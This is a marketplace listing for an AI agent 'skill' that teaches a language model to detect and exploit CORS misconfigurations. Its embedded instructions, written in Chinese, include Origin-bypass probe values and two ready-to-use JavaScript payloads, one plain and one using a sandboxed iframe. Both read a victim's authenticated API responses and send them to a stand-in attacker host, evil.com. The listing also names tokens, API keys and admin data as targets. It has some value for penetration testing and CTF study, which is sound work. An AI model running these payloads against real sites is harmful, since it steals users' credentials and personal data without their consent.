Cors Misconfiguration logo

Cors Misconfiguration

OrganizationPopular
wgpsec
cors-misconfiguration

CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namecors-misconfiguration
Stars
1.8K
Forks
247
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Cors Misconfiguration AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/auth/cors-misconfiguration
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/auth/cors-misconfiguration .claude/skills/cors-misconfiguration
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cors Misconfiguration in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cors Misconfiguration on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cors Misconfiguration is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

CORS 配置错误方法论

CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 两个响应头。

Phase 1: 检测 CORS 配置

1.1 发送带 Origin 的请求

http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}

检查响应头:

  • Access-Control-Allow-Origin: https://evil.com → 反射任意 Origin(危险)
  • Access-Control-Allow-Origin: * → 通配符(通常无法携带 Cookie)
  • Access-Control-Allow-Credentials: true → 允许携带 Cookie(和反射 Origin 组合 = 严重漏洞)
  • 无 ACAO 头 → CORS 正确拒绝

1.2 测试 Origin 校验绕过

# 空 Origin
Origin: null

# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com

# 特殊协议
Origin: http://target.com  (HTTPS 站点接受 HTTP Origin)

1.3 危险组合判断

Allow-OriginAllow-Credentials风险等级
反射任意 Origintrue严重 — 可跨域窃取用户数据
nulltrue高 — iframe sandbox 可设置 null origin
*false低 — 不能携带 Cookie,通常只暴露公开数据
固定白名单true安全(除非白名单中有你控制的域名)

Phase 2: 利用 CORS 错误配置

2.1 反射 Origin + Credentials(最常见)

目标返回:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

构造窃取页面:

html
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // 发送到攻击者服务器
    fetch('http://evil.com/log?data=' + JSON.stringify(data));
  });
</script>

2.2 null Origin 利用

如果 Access-Control-Allow-Origin: null,用 iframe sandbox 触发:

html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('http://target/api/userinfo', {credentials: 'include'})
      .then(r => r.text())
      .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
  </script>
"></iframe>

Phase 3: 数据获取

CORS 利用成功后,可以读取的敏感数据:

  • 用户个人信息(/api/profile, /api/userinfo)
  • API 密钥和 Token
  • 内部 API 数据
  • 管理员面板数据

CTF 中:Flag 通常在需要管理员 Cookie 才能访问的 API 中。

注意事项

  • CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS)
  • 纯 Access-Control-Allow-Origin: * 不允许 credentials: include,风险较低
  • 检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Cors Misconfiguration AI skill do?

CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取

Why use Cors Misconfiguration on TypingMind?

Because you install it once and use it with any model. Cors Misconfiguration is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cors Misconfiguration in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/auth/cors-misconfiguration. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Cors Misconfiguration?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cors Misconfiguration?

As many as you like. As long as a model supports skills, you can use Cors Misconfiguration with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cors Misconfiguration AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇